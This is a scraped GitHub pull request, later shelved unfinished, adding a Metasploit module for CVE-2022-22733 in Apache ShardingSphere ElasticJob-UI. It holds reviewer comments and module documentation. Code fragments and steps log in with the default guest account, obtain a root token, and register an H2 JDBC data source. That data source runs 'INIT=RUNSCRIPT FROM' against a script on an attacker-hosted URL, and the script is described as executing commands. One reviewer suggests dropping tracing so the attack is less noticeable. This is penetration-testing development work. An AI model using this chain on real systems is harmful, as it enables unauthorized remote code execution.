-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add module for CVE-2022-22733: Apache ShardingSphere ElasticJob-UI privilege escalation #17978
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools. We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
You can automate most of these changes with the
Please update your branch after these have been made, and reach out if you have any problems. |
Additional documentation on how this module is meant to work will be needed in order to test this. In particular your step |
The
|
apache_shardingsphere_cve_2022_22733.md
hello @gwillcox-r7 i have modified the doc in this pull request you can check it out, Its the documentation for the module. Thanks. |
Hi there, this PR has not been updated to include the doc file as part of this pull request. Please update this PR to add a commit including this file and then I can review it further. |
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
[ | ||
OptString.new('USERNAME', [ true, 'The username to authenticate with', 'guest']), | ||
OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'guest']), | ||
OptString.new('JDBC', [ true, 'Payload URL for JDBC Attack ex: http://ip:8000/poc.sql' ]) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
In my understanding, the user will have to start his own HTTP server to deliver the payload. Instead, this can be handled by Metasploit directly with it's internal HTTP server. This main advantage would be to handle any kind of payloads and get a Meterpreter session.
You can have a look to this module as an example on how to setup a HTTP server to deliver the payload:
Please, let us know if you have any questions about this.
'method' => 'POST', | ||
'uri' => '/api/login', | ||
'ctype' => 'application/json', | ||
'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please, use vars_post
instead. This would handle everything for you, including encoding:
'data' => { 'username' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }.to_json | |
'vars_post' => { | |
'username' => datastore['USERNAME'], | |
'password' => datastore['PASSWORD'] | |
} |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
@cdelafuente-r7 Tried your suggestion but this didn't in fact format the request as you expected. Seems like the author's original suggestion may be needed.
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
Ping @Zeyad-Azima, do you need any help making the adjustments that @cdelafuente-r7 recommended? |
After reading the blog posts a bit more, I realized that as it stands right now, this module will make an arbitrary JDBC connection from the target to a URL we control but it will never actually create a server to serve up that payload. In fact there is no reference to the payload at all. Reading the article I'm guessing this is what is needed:
Where we replace |
'headers' => { | ||
'Access-Token' => root_access_token | ||
}, | ||
'data' => { 'name' => 'azima', 'driver' => 'org.h2.Driver', 'url' => "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '#{datastore['JDBC']}'", 'username' => 'a', 'password' => 'a' }.to_json |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
We don't need the extra tracing information so this should remove the TRACE_LEVEL_SYSTEM_OUT=3
part of this. Its going to make the attack easier to notice and offers us as attackers no benefit.
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
modules/exploits/multi/http/apache_shardingsphere_cve_2022_22733.rb
Outdated
Show resolved
Hide resolved
Mostly got this working but running into this odd error when trying to retrieve the SQL file with commands to execute:
|
Marking this as delayed. I can't seem to solve the issue above and trying to install this product on non-Docker devices keeps throwing up errors with Java at the moment. |
@Zeyad-Azima Any update on the above? If not I'm going to have to attic this PR until we can get a solution. |
I'm going to go ahead and attic this. |
Thanks for your contribution to Metasploit Framework! We've looked at this pull request, and we agree that it seems like a good addition to Metasploit, but it looks like it is not quite ready to land. We've labeled it What does this generally mean? It could be one or more of several things:
We would love to land this pull request when it's ready. If you have a chance to address all comments, we would be happy to reopen and discuss how to merge this! |
Vulnerable Application
A vulnerability discovered in Apache ShardingSphere ElasticJob-UI known as CVE-2022-22733, The vulnerability lead to exposure of sensitive informatiopns and as a results it allows an attacker who has guest account to do privilege escalation.
You can setup the app using docker:
sudo docker pull apache/shardingsphere-elasticjob-lite-ui:3.0.0
Verification Steps
Example steps in this format (is also in the PR):
sudo docker pull apache/shardingsphere-elasticjob-lite-ui:3.0.0
use exploit/multi/http/apache_shardingsphere_cve_2022_22733
set RHOSTS target
set JDBC URL_to_your_malicious_sql_script
exploit
root
account credentials.Options
JDBC
: Payload URL for JDBC Attack ex: http://ip:8000/poc.sql.PASSWORD
: Password for authentication.Proxies
: A proxy chain of format type:host:port[,type:host:port][...]RHOSTS
: The target host(s)RPORT
: The target port (TCP)SSL
: Negotiate SSL/TLS for outgoing connectionsUSERNAME
: The username to authenticate withVHOST
: HTTP server virtual hostOption Name
JDBC
: Payload URL for JDBC Attack ex: http://ip:8000/poc.sql. Which is used to add the url for your malicious sql script in the request to perform JDBC attack. And it's required.PASSWORD
: The password for the low-privileged account that you have, the default value isguest
that comes with the application, The user can change if he already has an account. And it's required.Proxies
: A proxy chain of format type:host:port[,type:host:port][...]RHOSTS
: The target domain/IP. And it's required.RPORT
: The target port to the application, The default port that the application always use is8088
. And it's required.SSL
: Negotiate SSL/TLS for outgoing connections. In case the target uses SSL. And by default is not required.USERNAME
: The username for the low-privileged account that you have, the default value isguest
that comes with the application, The user can change if he already has an account. And it's required.VHOST
: HTTP server virtual host and it's not required.Scenarios
The
JDBC
option in case you don't know what is it, You can check it from here.Basically, If you have a privileged account like the
root
account, You will be able to create a database base connection.Now, You may be wondering, If we have the root account credentials, Why we would need to Retrieve it's token ?. So, Basically to perform a connection throug the JDBC we need high-privileges and to automate this process let's see how it works first.
As you can see when we logged-in as guest we are not able to add any data source. But, If we login with the root account. We can see that we have the privileges to add data source and test the connection:
Now, Under the Event Tracer Data Source click on Add button and add the following:
What did we done here?. We named Our data source, then used the h2 driver the H2 itself is a relational database management system, and the org.h2.driver is a JDBC driver used to connect to an H2 database from Java. The URL value:
Basically, This is a JDBC connection string which will connect a H2 in memory database with the name we give which is testdb. Then,
TRACE_LEVEL_SYSTEM_OUT=3
parameter enables trace logging to be printed to the console. Finally,INIT=RUNSCRIPT FROM 'http://192.168.0.162:8000/poc.sql'
parameter specifies that thepoc.sql
script located at our URL should be executed when the database is initialized. But, What is inside poc.sql file ?:In short words, This sql script uses the H2 database ability to create an alias to execute command and here we executing calc.exe for the demo of the exploit. Now, Let's start our http server that will host our poc.sql script and after that we click on Test Connect Button:
Now, As we understand it clearly we can run our metasploit module to perform all of these.
For example:
To use it with the default config:
Reference
You can read the vulnerability analysis from Here & The exploit blog step by step from Here.